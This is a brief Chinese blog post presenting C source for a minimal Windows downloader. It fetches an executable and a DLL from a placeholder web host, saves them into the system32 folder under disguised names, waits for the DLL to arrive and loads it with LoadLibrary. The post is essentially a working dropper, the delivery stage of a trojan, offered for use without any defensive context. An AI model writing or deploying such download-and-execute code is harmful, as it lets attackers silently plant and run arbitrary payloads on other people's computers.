最短代码实现windows8下的下载器-下载安装执行一体化
最后更新于：2022-04-01 10:27:48
请见代码
~~~
#include "stdafx.h"
#include "windows.h"
#include "UrlMon.h"
#pragma comment(lib, "urlmon.lib")
bool FileIsExist(LPCTSTR szFileFullPathName)
{
WIN32_FIND_DATA Win32_Find_Data;
HANDLE hFindFile;
hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);
if(INVALID_HANDLE_VALUE == hFindFile)
{
//AfxMessageBox("Not Exist");
return false;
}
else
{
//AfxMessageBox("Have Exist");
FindClose(hFindFile);
return true;
}
}
int main(int argc, char* argv[])
{
char DownURL[255] = "http://www.domain.com/test.dll";
char DownLoadDir[255];
char ExeURL[255] = "http://www.domain.com/test.exe";
char ExeDir[255];
GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
GetWindowsDirectory(ExeDir,sizeof(ExeDir));
strcat(DownLoadDir,"\\system32\\DLLtest.dll");
strcat(ExeDir,"\\system32\\MyLogin.dll");
URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
Sleep(3000);
URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
while(true)
{
if(FileIsExist(DownLoadDir) == true)
break;
else
Sleep(1000);
}
Sleep(3000);
LoadLibrary(DownLoadDir);
Sleep(10000);
return 0;
}
~~~